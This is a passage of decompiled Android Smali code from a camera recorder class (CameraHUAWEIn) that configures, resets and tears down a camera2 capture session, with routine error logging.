sget-object v1, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v0
check-cast v0, Ljava/lang/Integer;
invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
move-result v0
iput v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->cafm:I
.line 255
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_TRIGGER:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v0
check-cast v0, Ljava/lang/Integer;
invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
move-result v0
iput v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->caft:I
.line 256
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->LENS_FOCUS_DISTANCE:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v0
check-cast v0, Ljava/lang/Float;
invoke-virtual {v0}, Ljava/lang/Float;->floatValue()F
move-result v0
iput v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->lfd:F
.line 257
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v0
check-cast v0, Ljava/lang/Integer;
invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
move-result v0
iput v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->caem:I
.line 258
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->SENSOR_SENSITIVITY:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v0
check-cast v0, Ljava/lang/Integer;
invoke-virtual {v0}, Ljava/lang/Integer;->intValue()I
move-result v0
iput v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->ss:I
.line 259
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->SENSOR_FRAME_DURATION:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v0
check-cast v0, Ljava/lang/Long;
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->sfd:Ljava/lang/Long;
.line 260
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v1, Landroid/hardware/camera2/CaptureRequest;->SENSOR_EXPOSURE_TIME:Landroid/hardware/camera2/CaptureRequest$Key;
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->get(Landroid/hardware/camera2/CaptureRequest$Key;)Ljava/lang/Object;
move-result-object v0
check-cast v0, Ljava/lang/Long;
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->set:Ljava/lang/Long;
:try_end_0
.catch Ljava/lang/Exception; {:try_start_0 .. :try_end_0} :catch_0
goto :goto_0
:catch_0
move-exception p1
.line 262
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
.line 265
:goto_0
:try_start_1
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mCamera:Landroid/hardware/camera2/CameraDevice;
invoke-virtual {p1}, Landroid/hardware/camera2/CameraDevice;->close()V
:try_end_1
.catch Ljava/lang/Exception; {:try_start_1 .. :try_end_1} :catch_1
goto :goto_1
:catch_1
move-exception p1
.line 267
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
.line 270
:goto_1
:try_start_2
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mMediaCodec:Landroid/media/MediaCodec;
if-eqz p1, :cond_0
.line 271
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mMediaCodec:Landroid/media/MediaCodec;
invoke-virtual {p1}, Landroid/media/MediaCodec;->stop()V
.line 272
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mMediaCodec:Landroid/media/MediaCodec;
invoke-virtual {p1}, Landroid/media/MediaCodec;->release()V
:try_end_2
.catch Ljava/lang/Exception; {:try_start_2 .. :try_end_2} :catch_2
goto :goto_2
:catch_2
move-exception p1
.line 275
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
:cond_0
:goto_2
const/4 p1, 0x0
.line 278
:try_start_3
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraHUAWEIn;->access$300(Lcom/nvav/srv/recorder/CameraHUAWEIn;)Landroid/view/Surface;
move-result-object v0
if-eqz v0, :cond_1
.line 279
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraHUAWEIn;->access$300(Lcom/nvav/srv/recorder/CameraHUAWEIn;)Landroid/view/Surface;
move-result-object v0
invoke-virtual {v0}, Landroid/view/Surface;->release()V
.line 280
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
invoke-static {v0, p1}, Lcom/nvav/srv/recorder/CameraHUAWEIn;->access$302(Lcom/nvav/srv/recorder/CameraHUAWEIn;Landroid/view/Surface;)Landroid/view/Surface;
:try_end_3
.catch Ljava/lang/Exception; {:try_start_3 .. :try_end_3} :catch_3
goto :goto_3
:catch_3
move-exception v0
.line 283
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
.line 286
:cond_1
:goto_3
:try_start_4
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mOutputSurfaces:Ljava/util/List;
invoke-interface {v0}, Ljava/util/List;->clear()V
.line 287
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iput-object p1, v0, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mOutputSurfaces:Ljava/util/List;
:try_end_4
.catch Ljava/lang/Exception; {:try_start_4 .. :try_end_4} :catch_4
goto :goto_4
:catch_4
move-exception v0
.line 289
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
.line 291
:goto_4
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iput-object p1, v0, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mMediaCodec:Landroid/media/MediaCodec;
.line 292
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iput-object p1, v0, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mCamera:Landroid/hardware/camera2/CameraDevice;
.line 294
:try_start_5
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraHUAWEIn;->access$300(Lcom/nvav/srv/recorder/CameraHUAWEIn;)Landroid/view/Surface;
move-result-object v0
invoke-virtual {p1, v0}, Landroid/hardware/camera2/CaptureRequest$Builder;->removeTarget(Landroid/view/Surface;)V
const-wide/16 v0, 0x2ee
.line 295
invoke-static {v0, v1}, Ljava/lang/Thread;->sleep(J)V
:try_end_5
.catch Ljava/lang/Exception; {:try_start_5 .. :try_end_5} :catch_5
goto :goto_5
:catch_5
move-exception p1
.line 297
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
.line 300
:goto_5
:try_start_6
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mThread:Landroid/os/HandlerThread;
invoke-virtual {p1}, Landroid/os/HandlerThread;->interrupt()V
:try_end_6
.catch Ljava/lang/Exception; {:try_start_6 .. :try_end_6} :catch_6
goto :goto_6
:catch_6
move-exception p1
.line 302
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
.line 304
:goto_6
sget-boolean p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->Restarting:Z
if-eqz p1, :cond_2
.line 306
:try_start_7
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
invoke-virtual {p1}, Lcom/nvav/srv/recorder/CameraHUAWEIn;->StartRestart()V
const-wide/16 v0, 0xfa
.line 307
invoke-static {v0, v1}, Ljava/lang/Thread;->sleep(J)V
:try_end_7
.catch Ljava/lang/Exception; {:try_start_7 .. :try_end_7} :catch_7
goto :goto_7
:catch_7
move-exception p1
.line 309
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
invoke-virtual {v0, p1}, Lcom/nvav/srv/recorder/Comand;->WriteErr(Ljava/lang/Exception;)V
.line 311
:goto_7
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->cafm:I
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v1
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 312
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->LENS_FOCUS_DISTANCE:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->lfd:F
invoke-static {v1}, Ljava/lang/Float;->valueOf(F)Ljava/lang/Float;
move-result-object v1
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
const/4 p1, 0x0
.line 313
sput-boolean p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->Restarting:Z
.line 314
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
invoke-static {p1}, Lcom/nvav/srv/recorder/CameraHUAWEIn;->access$500(Lcom/nvav/srv/recorder/CameraHUAWEIn;)V
:cond_2
return-void
.end method
.method public onConfigureFailed(Landroid/hardware/camera2/CameraCaptureSession;)V
.locals 1
.line 324
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
const-string v0, "result=Session failed configure."
invoke-virtual {p1, v0}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
return-void
.end method
.method public onConfigured(Landroid/hardware/camera2/CameraCaptureSession;)V
.locals 5
.line 218
:try_start_0
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v0, v0, Lcom/nvav/srv/recorder/CameraHUAWEIn;->comand:Lcom/nvav/srv/recorder/Comand;
const-string v1, "result=Session configure."
invoke-virtual {v0, v1}, Lcom/nvav/srv/recorder/Comand;->WriteOut(Ljava/lang/String;)I
.line 219
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
invoke-static {v0, p1}, Lcom/nvav/srv/recorder/CameraHUAWEIn;->access$402(Lcom/nvav/srv/recorder/CameraHUAWEIn;Landroid/hardware/camera2/CameraCaptureSession;)Landroid/hardware/camera2/CameraCaptureSession;
.line 220
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mCamera:Landroid/hardware/camera2/CameraDevice;
const/4 v1, 0x3
invoke-virtual {v0, v1}, Landroid/hardware/camera2/CameraDevice;->createCaptureRequest(I)Landroid/hardware/camera2/CaptureRequest$Builder;
move-result-object v0
iput-object v0, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
.line 221
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
iget-object v0, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
invoke-static {v0}, Lcom/nvav/srv/recorder/CameraHUAWEIn;->access$300(Lcom/nvav/srv/recorder/CameraHUAWEIn;)Landroid/view/Surface;
move-result-object v0
invoke-virtual {p1, v0}, Landroid/hardware/camera2/CaptureRequest$Builder;->addTarget(Landroid/view/Surface;)V
.line 222
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_TARGET_FPS_RANGE:Landroid/hardware/camera2/CaptureRequest$Key;
new-instance v1, Landroid/util/Range;
iget-object v2, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v2, v2, Lcom/nvav/srv/recorder/CameraHUAWEIn;->CamResFPS:[Ljava/lang/String;
const/4 v3, 0x4
aget-object v2, v2, v3
invoke-static {v2}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
move-result v2
invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v2
iget-object v3, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v3, v3, Lcom/nvav/srv/recorder/CameraHUAWEIn;->CamResFPS:[Ljava/lang/String;
const/4 v4, 0x5
aget-object v3, v3, v4
invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
move-result v3
invoke-static {v3}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v3
invoke-direct {v1, v2, v3}, Landroid/util/Range;-><init>(Ljava/lang/Comparable;Ljava/lang/Comparable;)V
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 223
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
invoke-static {p1}, Lcom/nvav/srv/recorder/CameraHUAWEIn;->access$500(Lcom/nvav/srv/recorder/CameraHUAWEIn;)V
.line 224
sget-boolean p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->Restarting:Z
if-eqz p1, :cond_0
.line 225
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->SCALER_CROP_REGION:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->rect:Landroid/graphics/Rect;
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 226
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AE_EXPOSURE_COMPENSATION:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->aec:I
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v1
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 227
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_EFFECT_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->cem:I
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v1
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 228
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_REGIONS:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->cafr:[Landroid/hardware/camera2/params/MeteringRectangle;
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 229
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->SENSOR_SENSITIVITY:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->ss:I
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v1
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 230
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->SENSOR_FRAME_DURATION:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->sfd:Ljava/lang/Long;
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 231
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->SENSOR_EXPOSURE_TIME:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->set:Ljava/lang/Long;
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 232
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
sget-object v0, Landroid/hardware/camera2/CaptureRequest;->CONTROL_AF_MODE:Landroid/hardware/camera2/CaptureRequest$Key;
iget-object v1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget v1, v1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->cafm:I
invoke-static {v1}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
move-result-object v1
invoke-virtual {p1, v0, v1}, Landroid/hardware/camera2/CaptureRequest$Builder;->set(Landroid/hardware/camera2/CaptureRequest$Key;Ljava/lang/Object;)V
.line 233
iget-object p1, p0, Lcom/nvav/srv/recorder/CameraHUAWEIn$3;->this$0:Lcom/nvav/srv/recorder/CameraHUAWEIn;
iget-object p1, p1, Lcom/nvav/srv/recorder/CameraHUAWEIn;->mRecordingRequestBuilder:Landroid/hardware/camera2/CaptureRequest$Builder;
